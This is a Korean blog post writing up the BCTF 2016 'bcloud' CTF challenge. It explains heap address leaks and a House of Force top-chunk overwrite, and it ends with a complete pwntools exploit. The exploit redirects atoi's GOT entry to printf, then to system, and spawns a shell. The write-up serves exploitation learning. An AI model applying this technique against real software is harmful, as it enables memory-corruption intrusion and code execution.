HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • JNDI
  • 취약점
  • log4j
  • 아파치

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9
SYSTEM HACKING/문제 풀이

BCTF 2016 Bcloud

BCTF 2016 Bcloud
SYSTEM HACKING/문제 풀이

BCTF 2016 Bcloud

2018. 3. 15. 22:44
728x90

House of Force를 이용한 문제 중 하나인 bcloud에 관해서 글을 써보겠다.

House of Force와 Memory Leak에 관한 정보를 가지고 있다면 문제를 쉽게 풀 수 있다.




그럼 ida로 바이너리를 분석을 해보자.(※함수명은 작성자가 알아보기 쉽게 변경함)







main을 보면

여러가지 메뉴들이 보인다

print_menu()를 해주기 전에 보면 input_collection이라는 함수를 거치고 지나간다.


input_collection함수를 보면






두가지의 함수가 있는데 input_name은 name을 입력을 받고

input_host_org는 host와org를 입력을 받는다.


그럼 input_name부터 확인을 해보자






input_name함수안을 보면 s에 64바이트 만큼 입력을 받고

v2에 malloc을 64만큼 한다음 s에 있는 값을 v2에 옮기는 것을 볼 수 있다.

이곳에서는 메모리릭이 가능한데 s를 꽉채우면 v2에 있는 heap의 주소값을 알 수 있다.



이번에는 input_host_org함수를 확인 해보자.





이곳에도 s,v3에 값을 입력을 받는 것을 알 수 있다.

이곳에서도 64비트씩 꽉꽉 채워서 입력을 받으면 메모리릭이 가능한 것을 알 수 있다.

name부분에서는 heap의 주소값을 릭을 할 수 있었다면 이번에는 Top Chunk의 사이즈를 조작을 할 수 있다.(House of Force)


GDB로 메모리에 어떻게 값이 들어가는지 확인을 해보자.



org부분에 A로 꽉 채워넣으면 s와 org,v3가 가득 찰 것이다.

그런데 v3에는 host에 넣어준 값 \xff\xff\xff\xff가 있기 때문에 Top Chunk의 사이즈가 0xffffffff으로 바뀌는 것이다.

그럼 house of force를 이용해서 원하는 주소까지 값을 넣을 수 있게 되었다.


2018/03/08 - [SYSTEM HACKING/기법] - [How2Heap] House of Force



이번에는 main메뉴의 add함수를 보겠다.

메뉴의 다른 함수들은 문제 풀 때 사용 하지 않기 때문에 pass




원하는 만큼의 malloc과 content를 입력을 할 수 있다.

malloc에 원하는 크기에 +4를 해주는 것을 유의하자.


그럼 익스플로잇만 하면 문제는 풀린다.








EXPLOIT


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python
 
from pwn import *
 
p    =    process('./bcloud')
e    =    ELF('./bcloud')
 
raw_input()
 
#Memory Leak
p.recvuntil('Input your name:')
p.send("A"*64)
 
#Leak Heap Addr
p.recvuntil("A"*64)
heap     = u32(p.recv(4))
topchunk = heap+0xd8
wannaddr = ((e.got['atoi']-topchunk)-0xc)
 
 
print "[*]Leak Heap Addr:",hex(heap)
print "[*]Top Chunk Addr:",hex(topchunk)
print "[*]Malloc Size   :",hex(wannaddr)
 
#Memory Leak
p.recvuntil("Org:")
p.send("A"*64)
 
#Memory Leak
p.recvuntil("Host:")
p.sendline("\xff\xff\xff\xff")
 
#House_of_Force
p.recvuntil(">>\n")
p.sendline("1")
p.recvuntil("Input the length of the note content:")
p.sendline(str(wannaddr))
 
#Atoi's GOT -> Printf's PLT
p.recvuntil(">>\n")
p.sendline("1")
p.recvuntil(":\n")
p.sendline("8")
p.recvuntil(":\n")
p.sendline("A"*4+p32(e.plt['printf']))
 
p.recv(1024)
 
#Format String Bug
p.sendline("%p "*20)
p.recvuntil("0x10 0xa ")
 
 
raw_input()
 
leak = int(p.recv(10),16)-38
print "[*]Leak Data  :",hex(leak)
base = leak - 0x49670
print "[*]Base Addr  :",hex(base)
system = base+0x3ada0
print "[*]System Addr:",hex(system)
 
 
#Atoi's GOT -> System Addr
p.sendlineafter(">>\n","333")
p.sendlineafter(":\n","1")
p.sendlineafter(":\n","aaaa"+p32(system))
p.sendline("/bin/sh\x00")
 
#Get shell
p.interactive()
 
Colored by Color Scripter
cs






'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글

2018 Codegate - Melong  (0) 2018.05.10
HITCON 2014 stkof  (0) 2018.03.19
Hack.lu CTF 2014 - oreo  (2) 2018.03.10
2018 Codegate - Super marimo  (0) 2018.02.14
HarekazeCTF 2018 - Harekaze Farm (Pwn)  (0) 2018.02.12
    'SYSTEM HACKING/문제 풀이' 카테고리의 다른 글
    • 2018 Codegate - Melong
    • HITCON 2014 stkof
    • Hack.lu CTF 2014 - oreo
    • 2018 Codegate - Super marimo
    HO_9
    HO_9

    티스토리툴바

    단축키

    내 블로그

    내 블로그 - 관리자 홈 전환
    Q
    Q
    새 글 쓰기
    W
    W

    블로그 게시글

    글 수정 (권한 있는 경우)
    E
    E
    댓글 영역으로 이동
    C
    C

    모든 영역

    이 페이지의 URL 복사
    S
    S
    맨 위로 이동
    T
    T
    티스토리 홈 이동
    H
    H
    단축키 안내
    Shift + /
    ⇧ + /

    * 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.